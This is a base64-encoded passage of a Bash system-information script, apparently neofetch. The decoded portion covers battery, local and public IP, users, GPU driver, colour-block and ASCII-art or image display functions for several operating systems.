YmFyaW5mbykgZGlzaz0iJChiYXIgIiRkaXNrX3BlcmMiICIxMDAiKSR7aW5mb19jb2xvcn0gJGRpc2siIDs7CiAgICAgICAgICAgIHBlcmMpICAgIGRpc2s9IiR7ZGlza19wZXJjfSUgJChiYXIgIiRkaXNrX3BlcmMiICIxMDAiKSIgOzsKICAgICAgICBlc2FjCgogICAgICAgICMgQXBwZW5kICcoZGlzayBtb3VudCBwb2ludCknIHRvIHRoZSBzdWJ0aXRsZS4KICAgICAgICBpZiBbWyAiJHN1YnRpdGxlIiBdXTsgdGhlbgogICAgICAgICAgICBwcmluICIkc3VidGl0bGUke2Rpc2tfc3ViOisgKCRkaXNrX3N1Yil9IiAiJGRpc2siCiAgICAgICAgZWxzZQogICAgICAgICAgICBwcmluICIkZGlza19zdWIiICIkZGlzayIKICAgICAgICBmaQogICAgZG9uZQp9CgpnZXRfYmF0dGVyeSgpIHsKICAgIGNhc2UgJG9zIGluCiAgICAgICAgIkxpbnV4IikKICAgICAgICAgICAgIyBXZSB1c2UgJ3ByaW4nIGhlcmUgc28gdGhhdCB3ZSBjYW4gZG8gbXVsdGkgYmF0dGVyeSBzdXBwb3J0CiAgICAgICAgICAgICMgd2l0aCBhIHNpbmdsZSBiYXR0ZXJ5IHBlciBsaW5lLgogICAgICAgICAgICBmb3IgYmF0IGluICIvc3lzL2NsYXNzL3Bvd2VyX3N1cHBseS8ie0JBVCxheHAyODhfZnVlbF9nYXVnZSxDTUJ9KjsgZG8KICAgICAgICAgICAgICAgIGNhcGFjaXR5PSIkKDwgIiR7YmF0fS9jYXBhY2l0eSIpIgogICAgICAgICAgICAgICAgc3RhdHVzPSIkKDwgIiR7YmF0fS9zdGF0dXMiKSIKCiAgICAgICAgICAgICAgICBpZiBbWyAiJGNhcGFjaXR5IiBdXTsgdGhlbgogICAgICAgICAgICAgICAgICAgIGJhdHRlcnk9IiR7Y2FwYWNpdHl9JSBbJHtzdGF0dXN9XSIKCiAgICAgICAgICAgICAgICAgICAgY2FzZSAkYmF0dGVyeV9kaXNwbGF5IGluCiAgICAgICAgICAgICAgICAgICAgICAgICJiYXIiKSAgICAgYmF0dGVyeT0iJChiYXIgIiRjYXBhY2l0eSIgMTAwKSIgOzsKICAgICAgICAgICAgICAgICAgICAgICAgImluZm9iYXIiKSBiYXR0ZXJ5Kz0iICQoYmFyICIkY2FwYWNpdHkiIDEwMCkiIDs7CiAgICAgICAgICAgICAgICAgICAgICAgICJiYXJpbmZvIikgYmF0dGVyeT0iJChiYXIgIiRjYXBhY2l0eSIgMTAwKSR7aW5mb19jb2xvcn0gJHtiYXR0ZXJ5fSIgOzsKICAgICAgICAgICAgICAgICAgICBlc2FjCgogICAgICAgICAgICAgICAgICAgIGJhdD0iJHtiYXQvKmF4cDI4OF9mdWVsX2dhdWdlfSIKICAgICAgICAgICAgICAgICAgICBwcmluICIke3N1YnRpdGxlOiske3N1YnRpdGxlfSR7YmF0OiAtMX19IiAiJGJhdHRlcnkiCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICBkb25lCiAgICAgICAgICAgIHJldHVybgogICAgICAgIDs7CgogICAgICAgICJCU0QiKQogICAgICAgICAgICBjYXNlICRrZXJuZWxfbmFtZSBpbgogICAgICAgICAgICAgICAgIkZyZWVCU0QiKiB8ICJEcmFnb25GbHkiKikKICAgICAgICAgICAgICAgICAgICBiYXR0ZXJ5PSIkKGFjcGljb25mIC1pIDAgfCBhd2sgLUYgJzpcdCcgJy9SZW1haW5pbmcgY2FwYWNpdHkvIHtwcmludCAkMn0nKSIKICAgICAgICAgICAgICAgICAgICBiYXR0ZXJ5X3N0YXRlPSIkKGFjcGljb25mIC1pIDAgfCBhd2sgLUYgJzpcdFx0XHQnICcvU3RhdGUvIHtwcmludCAkMn0nKSIKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgIk5ldEJTRCIqKQogICAgICAgICAgICAgICAgICAgIGJhdHRlcnk9IiQoZW52c3RhdCB8IGF3ayAnXFwofFxcKScgJy9jaGFyZ2U6LyB7cHJpbnQgJDJ9JykiCiAgICAgICAgICAgICAgICAgICAgYmF0dGVyeT0iJHtiYXR0ZXJ5L1wuKi8lfSIKICAgICAgICAgICAgICAgIDs7CgogICAgICAgICAgICAgICAgIk9wZW5CU0QiKiB8ICJCaXRyaWciKikKICAgICAgICAgICAgICAgICAgICBiYXR0ZXJ5MGZ1bGw9IiQoc3lzY3RsIC1uICAgaHcuc2Vuc29ycy5hY3BpYmF0MC53YXR0aG91cjBcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGh3LnNlbnNvcnMuYWNwaWJhdDAuYW1waG91cjApIgogICAgICAgICAgICAgICAgICAgIGJhdHRlcnkwZnVsbD0iJHtiYXR0ZXJ5MGZ1bGwlJSAqfSIKCiAgICAgICAgICAgICAgICAgICAgYmF0dGVyeTBub3c9IiQoc3lzY3RsIC1uICAgIGh3LnNlbnNvcnMuYWNwaWJhdDAud2F0dGhvdXIzXAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBody5zZW5zb3JzLmFjcGliYXQwLmFtcGhvdXIzKSIKICAgICAgICAgICAgICAgICAgICBiYXR0ZXJ5MG5vdz0iJHtiYXR0ZXJ5MG5vdyUlICp9IgoKICAgICAgICAgICAgICAgICAgICBzdGF0ZT0iJChzeXNjdGwgLW4gaHcuc2Vuc29ycy5hY3BpYmF0MC5yYXcwKSIKICAgICAgICAgICAgICAgICAgICBzdGF0ZT0iJHtzdGF0ZSMjPyAoYmF0dGVyeSB9IgogICAgICAgICAgICAgICAgICAgIHN0YXRlPSIke3N0YXRlJSkqfSIKCiAgICAgICAgICAgICAgICAgICAgW1sgIiR7c3RhdGV9IiA9PSAiY2hhcmdpbmciIF1dICYmIGJhdHRlcnlfc3RhdGU9ImNoYXJnaW5nIgogICAgICAgICAgICAgICAgICAgIFtbICIkYmF0dGVyeTBmdWxsIiBdXSAmJiBcCiAgICAgICAgICAgICAgICAgICAgYmF0dGVyeT0iJCgoMTAwICogJHtiYXR0ZXJ5MG5vdy9cLn0gLyAke2JhdHRlcnkwZnVsbC9cLn0pKSUiCiAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICBlc2FjCiAgICAgICAgOzsKCiAgICAgICAgIk1hYyBPUyBYInwibWFjT1MiKQogICAgICAgICAgICBiYXR0ZXJ5PSIkKHBtc2V0IC1nIGJhdHQgfCBncmVwIC1vICdbMC05XSolJykiCiAgICAgICAgICAgIHN0YXRlPSIkKHBtc2V0IC1nIGJhdHQgfCBhd2sgJy87LyB7cHJpbnQgJDR9JykiCiAgICAgICAgICAgIFtbICIkc3RhdGUiID09ICJjaGFyZ2luZzsiIF1dICYmIGJhdHRlcnlfc3RhdGU9ImNoYXJnaW5nIgogICAgICAgIDs7CgogICAgICAgICJXaW5kb3dzIikKICAgICAgICAgICAgYmF0dGVyeT0iJCh3bWljIFBhdGggV2luMzJfQmF0dGVyeSBnZXQgRXN0aW1hdGVkQ2hhcmdlUmVtYWluaW5nKSIKICAgICAgICAgICAgYmF0dGVyeT0iJHtiYXR0ZXJ5L0VzdGltYXRlZENoYXJnZVJlbWFpbmluZ30iCiAgICAgICAgICAgIGJhdHRlcnk9IiQodHJpbSAiJGJhdHRlcnkiKSUiCiAgICAgICAgICAgIHN0YXRlPSIkKHdtaWMgL05hbWVTcGFjZTonXFxyb290XFdNSScgUGF0aCBCYXR0ZXJ5U3RhdHVzIGdldCBDaGFyZ2luZykiCiAgICAgICAgICAgIHN0YXRlPSIke3N0YXRlL0NoYXJnaW5nfSIKICAgICAgICAgICAgW1sgIiRzdGF0ZSIgPT0gKlRSVUUqIF1dICYmIGJhdHRlcnlfc3RhdGU9ImNoYXJnaW5nIgogICAgICAgIDs7CgogICAgICAgICJIYWlrdSIpCiAgICAgICAgICAgIGJhdHRlcnkwZnVsbD0iJChhd2sgLUYgJ1teMC05XSonICdOUj09MiB7cHJpbnQgJDR9JyAvZGV2L3Bvd2VyL2FjcGlfYmF0dGVyeS8wKSIKICAgICAgICAgICAgYmF0dGVyeTBub3c9IiQoYXdrIC1GICdbXjAtOV0qJyAnTlI9PTUge3ByaW50ICQ0fScgL2Rldi9wb3dlci9hY3BpX2JhdHRlcnkvMCkiCiAgICAgICAgICAgIGJhdHRlcnk9IiQoKGJhdHRlcnkwZnVsbCAqIDEwMCAvIGJhdHRlcnkwbm93KSklIgogICAgICAgIDs7CiAgICBlc2FjCgogICAgW1sgIiRiYXR0ZXJ5X3N0YXRlIiBdXSAmJiBiYXR0ZXJ5Kz0iIENoYXJnaW5nIgoKICAgIGNhc2UgJGJhdHRlcnlfZGlzcGxheSBpbgogICAgICAgICJiYXIiKSAgICAgYmF0dGVyeT0iJChiYXIgIiR7YmF0dGVyeS9cJSp9IiAxMDApIiA7OwogICAgICAgICJpbmZvYmFyIikgYmF0dGVyeT0iJHtiYXR0ZXJ5fSAkKGJhciAiJHtiYXR0ZXJ5L1wlKn0iIDEwMCkiIDs7CiAgICAgICAgImJhcmluZm8iKSBiYXR0ZXJ5PSIkKGJhciAiJHtiYXR0ZXJ5L1wlKn0iIDEwMCkke2luZm9fY29sb3J9ICR7YmF0dGVyeX0iIDs7CiAgICBlc2FjCn0KCmdldF9sb2NhbF9pcCgpIHsKICAgIGNhc2UgJG9zIGluCiAgICAgICAgIkxpbnV4IiB8ICJCU0QiIHwgIlNvbGFyaXMiIHwgIkFJWCIgfCAiSVJJWCIpCiAgICAgICAgICAgIGlmIFtbICIke2xvY2FsX2lwX2ludGVyZmFjZVswXX0iID09ICJhdXRvIiBdXTsgdGhlbgogICAgICAgICAgICAgICAgbG9jYWxfaXA9IiQoaXAgcm91dGUgZ2V0IDEgfCBhd2sgLUYnc3JjJyAne3ByaW50ICQyOyBleGl0fScpIgogICAgICAgICAgICAgICAgbG9jYWxfaXA9IiR7bG9jYWxfaXAvdWlkKn0iCiAgICAgICAgICAgICAgICBbWyAiJGxvY2FsX2lwIiBdXSB8fCBsb2NhbF9pcD0iJChpZmNvbmZpZyAtYSB8IGF3ayAnL2Jyb2FkY2FzdC8ge3ByaW50ICQyOyBleGl0fScpIgogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBmb3IgaW50ZXJmYWNlIGluICIke2xvY2FsX2lwX2ludGVyZmFjZVtAXX0iOyBkbwogICAgICAgICAgICAgICAgICAgIGxvY2FsX2lwPSIkKGlwIGFkZHIgc2hvdyAiJGludGVyZmFjZSIgMj4gL2Rldi9udWxsIHwKICAgICAgICAgICAgICAgICAgICAgICAgYXdrICcvaW5ldCAvIHtwcmludCAkMjsgZXhpdH0nKSIKICAgICAgICAgICAgICAgICAgICBsb2NhbF9pcD0iJHtsb2NhbF9pcC9cLyp9IgogICAgICAgICAgICAgICAgICAgIFtbICIkbG9jYWxfaXAiIF1dIHx8CiAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsX2lwPSIkKGlmY29uZmlnICIkaW50ZXJmYWNlIiAyPiAvZGV2L251bGwgfAogICAgICAgICAgICAgICAgICAgICAgICBhd2sgJy9icm9hZGNhc3QvIHtwcmludCAkMjsgZXhpdH0nKSIKICAgICAgICAgICAgICAgICAgICBpZiBbWyAtbiAiJGxvY2FsX2lwIiBdXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICBwcmluICIkaW50ZXJmYWNlIiAiJGxvY2FsX2lwIgogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgZXJyICJMb2NhbCBJUDogQ291bGQgbm90IGRldGVjdCBsb2NhbCBpcCBmb3IgJGludGVyZmFjZSIKICAgICAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICAgICAgZG9uZQogICAgICAgICAgICBmaQogICAgICAgIDs7CgogICAgICAgICJNSU5JWCIpCiAgICAgICAgICAgIGxvY2FsX2lwPSIkKGlmY29uZmlnIHwgYXdrICd7cHJpbnRmICQzOyBleGl0fScpIgogICAgICAgIDs7CgogICAgICAgICJNYWMgT1MgWCIgfCAibWFjT1MiIHwgImlQaG9uZSBPUyIpCiAgICAgICAgICAgIGlmIFtbICIke2xvY2FsX2lwX2ludGVyZmFjZVswXX0iID09ICJhdXRvIiBdXTsgdGhlbgogICAgICAgICAgICAgICAgaW50ZXJmYWNlPSIkKHJvdXRlIGdldCAxIHwgYXdrIC1GJzogJyAnL2ludGVyZmFjZS8ge3ByaW50ZiAkMjsgZXhpdH0nKSIKICAgICAgICAgICAgICAgIGxvY2FsX2lwPSIkKGlwY29uZmlnIGdldGlmYWRkciAiJGludGVyZmFjZSIpIgogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBmb3IgaW50ZXJmYWNlIGluICIke2xvY2FsX2lwX2ludGVyZmFjZVtAXX0iOyBkbwogICAgICAgICAgICAgICAgICAgIGxvY2FsX2lwPSIkKGlwY29uZmlnIGdldGlmYWRkciAiJGludGVyZmFjZSIpIgogICAgICAgICAgICAgICAgICAgIGlmIFtbIC1uICIkbG9jYWxfaXAiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIHByaW4gIiRpbnRlcmZhY2UiICIkbG9jYWxfaXAiCiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBlcnIgIkxvY2FsIElQOiBDb3VsZCBub3QgZGV0ZWN0IGxvY2FsIGlwIGZvciAkaW50ZXJmYWNlIgogICAgICAgICAgICAgICAgICAgIGZpCiAgICAgICAgICAgICAgICBkb25lCiAgICAgICAgICAgIGZpCiAgICAgICAgOzsKCiAgICAgICAgIldpbmRvd3MiKQogICAgICAgICAgICBsb2NhbF9pcD0iJChpcGNvbmZpZyB8IGF3ayAtRiAnOiAnICcvSVB2NCBBZGRyZXNzLyB7cHJpbnRmICQyICIsICJ9JykiCiAgICAgICAgICAgIGxvY2FsX2lwPSIke2xvY2FsX2lwJVwsKn0iCiAgICAgICAgOzsKCiAgICAgICAgIkhhaWt1IikKICAgICAgICAgICAgbG9jYWxfaXA9IiQoaWZjb25maWcgfCBhd2sgLUYgJzogJyAnL0JjYXN0LyB7cHJpbnQgJDJ9JykiCiAgICAgICAgICAgIGxvY2FsX2lwPSIke2xvY2FsX2lwLywgQmNhc3R9IgogICAgICAgIDs7CiAgICBlc2FjCn0KCmdldF9wdWJsaWNfaXAoKSB7CiAgICBpZiBbWyAhIC1uICIkcHVibGljX2lwX2hvc3QiIF1dICYmIHR5cGUgLXAgZGlnID4vZGV2L251bGw7IHRoZW4KICAgICAgICBwdWJsaWNfaXA9IiQoZGlnICt0aW1lPTEgK3RyaWVzPTEgK3Nob3J0IG15aXAub3BlbmRucy5jb20gQHJlc29sdmVyMS5vcGVuZG5zLmNvbSkiCiAgICAgICBbWyAiJHB1YmxpY19pcCIgPX4gXlw7IF1dICYmIHVuc2V0IHB1YmxpY19pcAogICAgZmkKCiAgICBpZiBbWyAhIC1uICIkcHVibGljX2lwX2hvc3QiIF1dICYmIFtbIC16ICIkcHVibGljX2lwIiBdXSAmJiB0eXBlIC1wIGRyaWxsID4vZGV2L251bGw7IHRoZW4KICAgICAgICBwdWJsaWNfaXA9IiQoZHJpbGwgbXlpcC5vcGVuZG5zLmNvbSBAcmVzb2x2ZXIxLm9wZW5kbnMuY29tIHwgXAogICAgICAgICAgICAgICAgICAgICBhd2sgJy9ebXlpcFwuLyAmJiAkMyA9PSAiSU4iIHtwcmludCAkNX0nKSIKICAgIGZpCgogICAgaWYgW1sgLXogIiRwdWJsaWNfaXAiIF1dICYmIHR5cGUgLXAgY3VybCA+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgcHVibGljX2lwPSIkKGN1cmwgLUwgLS1tYXgtdGltZSAiJHB1YmxpY19pcF90aW1lb3V0IiAtdyAnXG4nICIkcHVibGljX2lwX2hvc3QiKSIKICAgIGZpCgogICAgaWYgW1sgLXogIiRwdWJsaWNfaXAiIF1dICYmIHR5cGUgLXAgd2dldCA+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgcHVibGljX2lwPSIkKHdnZXQgLVQgIiRwdWJsaWNfaXBfdGltZW91dCIgLXFPLSAiJHB1YmxpY19pcF9ob3N0IikiCiAgICBmaQp9CgpnZXRfdXNlcnMoKSB7CiAgICB1c2Vycz0iJCh3aG8gfCBhd2sgJyFzZWVuWyQxXSsrIHtwcmludGYgJDEgIiwgIn0nKSIKICAgIHVzZXJzPSIke3VzZXJzJVwsKn0iCn0KCmdldF9sb2NhbGUoKSB7CiAgICBsb2NhbGU9IiRzeXNfbG9jYWxlIgp9CgpnZXRfZ3B1X2RyaXZlcigpIHsKICAgIGNhc2UgJG9zIGluCiAgICAgICAgIkxpbnV4IikKICAgICAgICAgICAgZ3B1X2RyaXZlcj0iJChsc3BjaSAtbm5rIHwgYXdrIC1GICc6ICcgXAogICAgICAgICAgICAgICAgICAgICAgICAgICcvRGlzcGxheXwzRHxWR0Eve25yW05SKzJdfTsgTlIgaW4gbnIge3ByaW50ZiAkMiAiLCAiOyBleGl0fScpIgogICAgICAgICAgICBncHVfZHJpdmVyPSIke2dwdV9kcml2ZXIlLCB9IgoKICAgICAgICAgICAgaWYgW1sgIiRncHVfZHJpdmVyIiA9PSAqIm52aWRpYSIqIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBncHVfZHJpdmVyPSIkKDwgL3Byb2MvZHJpdmVyL252aWRpYS92ZXJzaW9uKSIKICAgICAgICAgICAgICAgIGdwdV9kcml2ZXI9IiR7Z3B1X2RyaXZlci8qTW9kdWxlICB9IgogICAgICAgICAgICAgICAgZ3B1X2RyaXZlcj0iTlZJRElBICR7Z3B1X2RyaXZlci8gICp9IgogICAgICAgICAgICBmaQogICAgICAgIDs7CgogICAgICAgICJNYWMgT1MgWCJ8Im1hY09TIikKICAgICAgICAgICAgaWYgW1sgIiQoa2V4dHN0YXQgfCBncmVwICJHZUZvcmNlV2ViIikiICE9ICIiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBncHVfZHJpdmVyPSJOVklESUEgV2ViIERyaXZlciIKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgZ3B1X2RyaXZlcj0ibWFjT1MgRGVmYXVsdCBHcmFwaGljcyBEcml2ZXIiCiAgICAgICAgICAgIGZpCiAgICAgICAgOzsKICAgIGVzYWMKfQoKZ2V0X2NvbHMoKSB7CiAgICBsb2NhbCBibG9ja3MgYmxvY2tzMiBjb2xzCgogICAgaWYgW1sgIiRjb2xvcl9ibG9ja3MiID09ICJvbiIgXV07IHRoZW4KICAgICAgICAjIENvbnZlcnQgdGhlIHdpZHRoIHRvIHNwYWNlIGNoYXJzLgogICAgICAgIHByaW50ZiAtdiBibG9ja193aWR0aCAiJSR7YmxvY2tfd2lkdGh9cyIKCiAgICAgICAgIyBHZW5lcmF0ZSB0aGUgc3RyaW5nLgogICAgICAgIGZvciAoKGJsb2NrX3JhbmdlWzBdOyBibG9ja19yYW5nZVswXTw9YmxvY2tfcmFuZ2VbMV07IGJsb2NrX3JhbmdlWzBdKyspKTsgZG8KICAgICAgICAgICAgY2FzZSAke2Jsb2NrX3JhbmdlWzBdfSBpbgogICAgICAgICAgICAgICAgWzAtN10pCiAgICAgICAgICAgICAgICAgICAgcHJpbnRmIC12IGJsb2NrcyAgJyViXGVbMyVibVxlWzQlYm0lYicgXAogICAgICAgICAgICAgICAgICAgICAgICAiJGJsb2NrcyIgIiR7YmxvY2tfcmFuZ2VbMF19IiAiJHtibG9ja19yYW5nZVswXX0iICIkYmxvY2tfd2lkdGgiCiAgICAgICAgICAgICAgICA7OwoKICAgICAgICAgICAgICAgICopCiAgICAgICAgICAgICAgICAgICAgcHJpbnRmIC12IGJsb2NrczIgJyViXGVbMzg7NTslYm1cZVs0ODs1OyVibSViJyBcCiAgICAgICAgICAgICAgICAgICAgICAgICIkYmxvY2tzMiIgIiR7YmxvY2tfcmFuZ2VbMF19IiAiJHtibG9ja19yYW5nZVswXX0iICIkYmxvY2tfd2lkdGgiCiAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICBlc2FjCiAgICAgICAgZG9uZQoKICAgICAgICAjIENvbnZlcnQgaGVpZ2h0IGludG8gc3BhY2VzLgogICAgICAgIHByaW50ZiAtdiBibG9ja19zcGFjZXMgIiUke2Jsb2NrX2hlaWdodH1zIgoKICAgICAgICAjIENvbnZlcnQgdGhlIHNwYWNlcyBpbnRvIHJvd3Mgb2YgYmxvY2tzLgogICAgICAgIFtbICIkYmxvY2tzIiAgXV0gJiYgY29scys9IiR7YmxvY2tfc3BhY2VzLy8gLyR7YmxvY2tzfRtbbW5sfSIKICAgICAgICBbWyAiJGJsb2NrczIiIF1dICYmIGNvbHMrPSIke2Jsb2NrX3NwYWNlcy8vIC8ke2Jsb2NrczJ9G1ttbmx9IgoKICAgICAgICAjIEFkZCBuZXdsaW5lcyB0byB0aGUgc3RyaW5nLgogICAgICAgIGNvbHM9JHtjb2xzJSVubH0KICAgICAgICBjb2xzPSR7Y29scy8vbmwvChtbJHt0ZXh0X3BhZGRpbmd9QyR7endzfX0KCiAgICAgICAgIyBBZGQgYmxvY2sgaGVpZ2h0IHRvIGluZm8gaGVpZ2h0LgogICAgICAgICgoaW5mb19oZWlnaHQrPWJsb2NrX3JhbmdlWzFdPjc/YmxvY2tfaGVpZ2h0KzI6YmxvY2tfaGVpZ2h0KzEpKQoKICAgICAgICBjYXNlICRjb2xfb2Zmc2V0IGluCiAgICAgICAgICAgICJhdXRvIikgcHJpbnRmICdcblxlWyViQyViXG4nICIkdGV4dF9wYWRkaW5nIiAiJHt6d3N9JHtjb2xzfSIgOzsKICAgICAgICAgICAgKikgcHJpbnRmICdcblxlWyViQyViXG4nICIkY29sX29mZnNldCIgIiR7endzfSR7Y29sc30iIDs7CiAgICAgICAgZXNhYwogICAgZmkKCiAgICB1bnNldCAtdiBibG9ja3MgYmxvY2tzMiBjb2xzCgogICAgIyBUZWxsIGluZm8oKSB0aGF0IHdlIHByaW50ZWQgbWFudWFsbHkuCiAgICBwcmluPTEKfQoKIyBJTUFHRVMKCmltYWdlX2JhY2tlbmQoKSB7CiAgICBbWyAiJGltYWdlX2JhY2tlbmQiICE9ICJvZmYiIF1dICYmICEgdHlwZSAtcCBjb252ZXJ0ICY+L2Rldi9udWxsICYmIFwKICAgICAgICB7IGltYWdlX2JhY2tlbmQ9ImFzY2lpIjsgZXJyICJJbWFnZTogSW1hZ2VtYWdpY2sgbm90IGZvdW5kLCBmYWxsaW5nIGJhY2sgdG8gYXNjaWkgbW9kZS4iOyB9CgogICAgY2FzZSAke2ltYWdlX2JhY2tlbmQ6LW9mZn0gaW4KICAgICAgICAiYXNjaWkiKSBwcmludF9hc2NpaSA7OwogICAgICAgICJvZmYiKSBpbWFnZV9iYWNrZW5kPSJvZmYiIDs7CgogICAgICAgICJjYWNhIiB8ICJjYXRpbWciIHwgImNoYWZhIiB8ICJqcDJhIiB8ICJpdGVybTIiIHwgInRlcm1waXgiIHxcCiAgICAgICAgInR5Y2F0IiB8ICJ3M20iIHwgInNpeGVsIiB8ICJwaXh0ZXJtIiB8ICJraXR0eSIgfCAicG90IiwgfCAidWViZXJ6dWciIHxcCiAgICAgICAgICJ2aXUiKQogICAgICAgICAgICBnZXRfaW1hZ2Vfc291cmNlCgogICAgICAgICAgICBbWyAhIC1mICIkaW1hZ2UiIF1dICYmIHsKICAgICAgICAgICAgICAgIHRvX2FzY2lpICJJbWFnZTogJyRpbWFnZV9zb3VyY2UnIGRvZXNuJ3QgZXhpc3QsIGZhbGxpbmcgYmFjayB0byBhc2NpaSBtb2RlLiIKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgICAgIFtbICIkaW1hZ2VfYmFja2VuZCIgPT0gInVlYmVyenVnIiBdXSAmJiB3YWl0PXRydWU7CgogICAgICAgICAgICBnZXRfd2luZG93X3NpemUKCiAgICAgICAgICAgICgodGVybV93aWR0aCA8IDEpKSAmJiB7CiAgICAgICAgICAgICAgICB0b19hc2NpaSAiSW1hZ2U6IEZhaWxlZCB0byBmaW5kIHRlcm1pbmFsIHdpbmRvdyBzaXplLiIKICAgICAgICAgICAgICAgIGVyciAiSW1hZ2U6IENoZWNrIHRoZSAnSW1hZ2VzIGluIHRoZSB0ZXJtaW5hbCcgd2lraSBwYWdlIGZvciBtb3JlIGluZm8sIgogICAgICAgICAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHByaW50ZiAnXGVbMkpcZVtIJwogICAgICAgICAgICBnZXRfaW1hZ2Vfc2l6ZQogICAgICAgICAgICBtYWtlX3RodW1ibmFpbAogICAgICAgICAgICBkaXNwbGF5X2ltYWdlIHx8IHRvX29mZiAiSW1hZ2U6ICRpbWFnZV9iYWNrZW5kIGZhaWxlZCB0byBkaXNwbGF5IHRoZSBpbWFnZS4iCiAgICAgICAgOzsKCiAgICAgICAgKikKICAgICAgICAgICAgZXJyICJJbWFnZTogVW5rbm93biBpbWFnZSBiYWNrZW5kIHNwZWNpZmllZCAnJGltYWdlX2JhY2tlbmQnLiIKICAgICAgICAgICAgZXJyICJJbWFnZTogVmFsaWQgYmFja2VuZHMgYXJlOiAnYXNjaWknLCAnY2FjYScsICdjYXRpbWcnLCAnY2hhZmEnLCAnanAyYScsICdpdGVybTInLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdraXR0eScsICdvZmYnLCAnc2l4ZWwnLCAncG90JywgJ3BpeHRlcm0nLCAndGVybXBpeCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3R5Y2F0JywgJ3czbScsICd2aXUnKSIKICAgICAgICAgICAgZXJyICJJbWFnZTogRmFsbGluZyBiYWNrIHRvIGFzY2lpIG1vZGUuIgogICAgICAgICAgICBwcmludF9hc2NpaQogICAgICAgIDs7CiAgICBlc2FjCgogICAgIyBTZXQgY3Vyc29yIHBvc2l0aW9uIG5leHQgaW1hZ2UvYXNjaWkuCiAgICBbWyAiJGltYWdlX2JhY2tlbmQiICE9ICJvZmYiIF1dICYmIHByaW50ZiAnXGVbJXNBXGVbOTk5OTk5OUQnICIke2xpbmVzOi0wfSIKfQoKcHJpbnRfYXNjaWkoKSB7CiAgICBpZiBbWyAtZiAiJGltYWdlX3NvdXJjZSIgJiYgISAiJGltYWdlX3NvdXJjZSIgPX4gKHBuZ3xqcGd8anBlZ3xqcGV8c3ZnfGdpZikgXV07IHRoZW4KICAgICAgICBhc2NpaV9kYXRhPSIkKDwgIiRpbWFnZV9zb3VyY2UiKSIKICAgIGVsaWYgW1sgIiRpbWFnZV9zb3VyY2UiID09ICJhc2NpaSIgfHwgJGltYWdlX3NvdXJjZSA9PSBhdXRvIF1dOyB0aGVuCiAgICAgICAgOgogICAgZWxzZQogICAgICAgIGFzY2lpX2RhdGE9IiRpbWFnZV9zb3VyY2UiCiAgICBmaQoKICAgICMgU2V0IGxvY2FsZSB0byBnZXQgY29ycmVjdCBwYWRkaW5nLgogICAgTENfQUxMPSIkc3lzX2xvY2FsZSIKCiAgICAjIENhbGN1bGF0ZSBzaXplIG9mIGFzY2lpIGZpbGUgaW4gbGluZSBsZW5ndGggLyBsaW5lIGNvdW50LgogICAgd2hpbGUgSUZTPSQnXG4nIHJlYWQgLXIgbGluZTsgZG8KICAgICAgICBsaW5lPSR7bGluZS8vXFxcXC9cXH0KICAgICAgICBsaW5lPSR7bGluZS8v4paILyB9CiAgICAgICAgKCgrK2xpbmVzLCR7I2xpbmV9PmFzY2lpX2xlbikpICYmIGFzY2lpX2xlbj0iJHsjbGluZX0iCiAgICBkb25lIDw8PCAiJHthc2NpaV9kYXRhLy9cJFx7Pz9cfX0iCgogICAgIyBGYWxsYmFjayBpZiBmaWxlIG5vdCBmb3VuZC4KICAgICgobGluZXM9PTEpKSAmJiB7CiAgICAgICAgbGluZXM9CiAgICAgICAgYXNjaWlfbGVuPQogICAgICAgIGltYWdlX3NvdXJjZT1hdXRvCiAgICAgICAgZ2V0X2Rpc3Ryb19hc2NpaQogICAgICAgIHByaW50X2FzY2lpCiAgICAgICAgcmV0dXJuCiAgICB9CgogICAgIyBDb2xvcnMuCiAgICBhc2NpaV9kYXRhPSIke2FzY2lpX2RhdGEvL1wkXHtjMVx9LyRjMX0iCiAgICBhc2NpaV9kYXRhPSIke2FzY2lpX2RhdGEvL1wkXHtjMlx9LyRjMn0iCiAgICBhc2NpaV9kYXRhPSIke2FzY2lpX2RhdGEvL1wkXHtjM1x9LyRjM30iCiAgICBhc2NpaV9kYXRhPSIke2FzY2lpX2RhdGEvL1wkXHtjNFx9LyRjNH0iCiAgICBhc2NpaV9kYXRhPSIke2FzY2lpX2RhdGEvL1wkXHtjNVx9LyRjNX0iCiAgICBhc2NpaV9kYXRhPSIke2FzY2lpX2RhdGEvL1wkXHtjNlx9LyRjNn0iCgogICAgKCh0ZXh0X3BhZGRpbmc9YXNjaWlfbGVuK2dhcCkpCiAgICBwcmludGYgJyViXG4nICIkYXNjaWlfZGF0YSR7cmVzZXR9IgogICAgTENfQUxMPUMKfQoKZ2V0X2ltYWdlX3NvdXJjZSgpIHsKICAgIGNhc2UgJGltYWdlX3NvdXJjZSBpbgogICAgICAgICJhdXRvIiB8ICJ3YWxsIiB8ICJ3YWxscGFwZXIiKQogICAgICAgICAgICBnZXRfd2FsbHBhcGVyCiAgICAgICAgOzsKCiAgICAgICAgKikKICAgICAgICAgICAgIyBHZXQgdGhlIGFic29sdXRlIHBhdGguCiAgICAgICAgICAgIGltYWdlX3NvdXJjZT0iJChnZXRfZnVsbF9w